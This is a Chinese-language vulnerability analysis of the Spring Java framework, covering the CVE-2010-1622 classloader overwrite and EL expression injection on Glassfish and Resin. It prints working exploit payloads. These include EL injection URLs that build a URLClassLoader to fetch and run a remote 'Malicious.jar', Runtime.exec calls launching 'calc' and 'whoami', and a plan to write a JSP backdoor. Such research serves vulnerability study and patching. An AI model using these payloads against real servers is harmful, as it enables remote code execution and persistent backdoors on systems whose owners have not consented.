Spring作為使用最為廣泛的Java Web框架之一,擁有大量的用戶。也由于用戶量的龐大,Spring框架成為漏洞挖掘者關注的目標,在Struts漏洞狂出的如今,Spring也許正在被醞釀一場大的危機。
本文將針對Spring歷史上曾出現的嚴重漏洞和問題,進行分析討論這套框架可能存在的問題。
CVE-2010-1622在Spring官方發布的漏洞公告中,被定義為任意代碼執行漏洞。但是,這個問題的主要問題是由于,對私有成員保護不足,而導致的變量覆蓋。從漏洞成因上來看并不能稱為代碼執行漏洞,只能算是變量覆蓋,代碼執行只不過是利用罷了。
Spring框架提供了一種綁定參數和對象的機制,可以把一個類綁定到一個Controller。然后在這個Contraller類中,將一個頁面綁定到特定的處理方法中,這個方法可以把頁面參數中,與對象成員對應的參數值賦予該成員。
例如:我綁定了一個User類,User類中存在一個成員name,綁定的頁面名為test.html。那么如果我提交test.html?name=123,User類中的name便被賦予值為123。
當然這種使用方法是有前題的,就是這個成員是public或者提供set方法,否則是不能賦值的。這個漏洞就是這個限制出現了問題,導致數組類型的成員在非public且沒有提供set方法的情況下,可以通過這種方式被賦值。我們下面來看負責這個功能實現的類對于數組參數的處理代碼:
else if (propValue.getClass().isArray()) { Class requiredType = propValue.getClass().getComponentType(); int arrayIndex = Integer.parseInt(key); Object oldValue = null; try { if (isExtractOldValueForEditor()) { oldValue = Array.get(propValue, arrayIndex); } Object convertedValue = this.typeConverterDelegate.convertIfNecessary( propertyName, oldValue, pv.getValue(), requiredType); Array.set(propValue, Integer.parseInt(key), convertedValue); }
可以看出上面處理數組的代碼中,沒有對成員是否存在set方法進行判斷。也沒有通過調用成員的set方法進行賦值,而是直接通過Array.set方法進行賦值,繞過set方法的這個處理機制。
在漏洞發現者的博客上,提到了Java Bean的API Introspector. getBeanInfo 會獲取到該POJO的基類Object.class的屬性class,進一步可以獲取到Class.class的諸多屬性,包括classloader。
而Spring的org.springframework.beans.CachedIntrospectionResults.class類,正好通過這個API,遍歷用戶提交表單中有效的成員。這就意味著,結合這個漏洞,我們可以通過HTTP提交,來設置很多的私有成員,這真是太恐怖了!
下面我們來看看,如何將Spring這個特性和漏洞結合起來,進行利用。
之前我們提到了我們可以通過Java
Bean獲取到classloader對象,而classloader中有一個URLs[]成員。Spring剛好會通過Jasper中的 TldLocationsCache類(jsp平臺對jsp解析時用到的類)從WebappClassLoader里面讀取url參數,并用來解析TLD文件在解析TLD的時候,是允許直接使用jsp語法的,所以這就出現了遠程代碼執行的最終效果。
好了,到這里我們整理下思路。通過漏洞我們可以對classloader的URLs[]進行賦值操作,然后Spring會通過平臺解析,從URLs[]中提取它所需要的TLD文件,并在執行jsp是運行這個TLD所包含的內容。
有了這個思路,利用方法也就呼之欲出了。構造一個帶有惡意TLD文件的jar,通過HTTP將jar的地址告訴URLs[],然后坐等執行?。
利用效果如圖所示:
2012年12月國外研究者DanAmodio發表《Remote Code with Expression Language Injection》一文,拉開了Spring框架EL表達式注入的序幕。
隨著表達式的愈加強大,使得原來本不應該出問題的情況,出現了一些比較嚴重的問題。而且Java Web框架一般都會有在核心代碼使用表達式的壞習慣,Struts就是很好的例子。Spring的框架本身是不會存在代碼執行的問題,但是隨著EL表達式的強大,逐漸成為了問題。而且EL表達式是Java Web程序默認都會使用的一種表達式,這可能會在未來一段時間內成為Java Web程序的噩夢。
我通過代碼跟蹤定位到Spring最終執行EL表達式的代碼:
private static Object evaluateExpression(String exprValue, Class resultClass, PageContext pageContext)
throws ELException {
return pageContext.getExpressionEvaluator().evaluate(
exprValue, resultClass, pageContext.getVariableResolver(), null);
}
了解了Spring標簽屬性執行EL表達式的大體流程:首先通過標簽類處理相關內容,將需要執行EL表達式的標簽屬性傳入到evaluateString或者其他方法,但最終都將流入到doEvaluate方法中,經過一些處理將截取的屬性值最為傳入到evaluateExpression方法,最后evaluateExpression方法再將傳入的屬性值作為表達式交給平臺去執行。
以上這些其實僅僅是對EL表達式注入問題分析的開始,因為真正實現執行的地方是平臺,也就是說,不同的平臺EL表達式的操作和執行也是不同的。因此,我分別針對Glassfish和Resin平臺進行了測試,目前比較流行的Tomcat平臺也進行了測試,但是由于它和Spring框架在EL表達式的實現上存在一些分歧,導致Tomcat平臺下EL表達式不可以調用方法。
下面我們分別來看看Glassfish和Resin平臺下,不同的利用方法。
先來看Glassfish下的利用,首先在我們另一臺服務器上放置編譯如下代碼的jar文件:
public class Malicious { public Malicious() { try { java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } } } ? ? ?
然后我們通過EL表達式創建一個數組(URLClassLoader的構造函數需要URL數組作為參數),存放在session中,url為
http://target/file? message=${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}。
下一步我們通過URI提供的create方法,可以創建一個URL實例,我們把這個實例保存在剛剛創建的數組中,url為
http://target/file?message= ${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().create("http://serverip/Malicious.jar").toURL())}。
Malicious.jar文件就是我們之前保存在另一臺服務器中的jar文件。EL表達式中的PageContext類中getClassLoader方法得到的對象的父類便是URLClassLoader,所以,我們便可以調用newInstance方法了,url為
http://target/file?message= ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}。
效果如下圖所示:
下面我們來看下在Resin環境下的利用方法,先來看個直接的演示,訪問鏈接:
http://localhost:8080/test.do?${pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc",null).toString()}
效果如下圖所示:
我曾一度想要寫出像Struts那樣可以執行命令并回顯的利用代碼,但是由于EL表達式并沒有提供變量和賦值的功能,讓我不得不去想可以有相同的效果的方法。初步的思路是,利用EL可以存儲任意類型session這個功能,對命令執行的結果流進行存儲和處理,最后轉換為字符串,打印到頁面上。
我找到了打印任意內容到頁面的方法,即通過EL提供的pageContext中response對象中的println方法。例如:訪問
http://localhost:8080/test.do?a=${pageContext.response.getWriter().println('aaa')}
會返回500錯誤,在錯誤中會顯示我們的自定義內容:
下面只要將命令執行的結果流轉換為String,輸出給println函數即可。下面是按照我之前思路,構造的利用代碼:
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami",null).getInputStream())}
${pageContext.request.getSession().setAttribute("b",pageContext.request.getClass().forName("java.io.InputStreamReader").getConstructor(pageContext.request.getClass().forName("java.io.InputStream")).newInstance(pageContext.request.getSession().getAttribute("a")))}
${pageContext.request.getSession().setAttribute("c",pageContext.request.getClass().forName("java.io.BufferedReader").newInstance(pageContext.request.getSession().getAttribute("b")))}
${pageContext.request.getSession().setAttribute("d",pageContext.request.getClass().forName("java.lang.Byte").getConstructor(pageContext.request.getClass().forName("java.lang.Integer")).newInsTance(51020))}
${pageContext.request.getSession().getAttribute("c").read(pageContext.request.getSession().getAttribute("d"))}
${pageContext.response.getWriter().println(pageContext.request.getSession().getAttribute("d"))}
首先將命令執行結果流存儲至session屬性a中;然后將a屬性的內容作為初始化InputStreamReader對象的參數,并將對象存儲至b屬性;第三步將b屬性中的內容作為參數初始化BufferedReader對象,并將對象存儲至c屬性;第四步初始化一個字符數組,存儲至d屬性中;第五步將c中的內容通過read方法,放入到d屬性中,及轉化為字符;最后print出d屬性中內容。
但是這個思路我沒有實現的最終原因是,通過EL使用反射初始化構造方法需要參數的對象時,參數類型和方法定義的參數類型總是不匹配。我想盡了我能想到的辦法,最后還是找不到解決辦法?。
后面想到的一個可行的利用方法,是利用Glassfish平臺下使用的方法,加載一個執行寫文件到指定目錄的jar包,來生成一個jsp后門。
Spring框架中幾乎只有標簽的部分使用了EL表達式,下面我們將羅列出這些使用EL表達式的標簽。
form 中可執行 EL的標簽:
1.??? AbstractDataBoundFormElementTag
2.??? AbstractFormTag
3.??? AbstractHtmlElementTag
4.??? AbstractHtmlInputElementTag
5.??? AbstractMultiCheckedElementTag
6.??? AbstractSingleCheckedElementTag
7.??? CheckboxTag
8.??? ErrorsTag
9.??? FormTag
10.? LabelTag
11.? OptionsTag
12.? OptionTag
13.? RadioButtonTag
14.? SelectTag
Spring 標準標簽庫中執行 EL 的標簽:
1.??? MessageTag
2.??? TransformTag
3.??? EscapeBodyTag
4.??? setJavaScriptEscape(String)
5.??? EvalTag
6.??? HtmlEscapeTag
7.??? HtmlEscapingAwareTag
8.??? UrlTag
9.??? BindErrorsTag
10.? doStartTagInternal()
11.? BindTag
12.? NestedPathTag
變量覆蓋這個問題,相對于EL表達式注入來說算是個意外情況,修補之后不會有太多先關聯的問題出現。而EL表達式這個問題,就有點象Struts的Ognl,是一個持續的問題,對于它的封堵,只能是見一個補一個。畢竟攻擊者利用的就是EL提供的功能,我們總不 能因噎廢食的要求EL不可以支持方法的調用。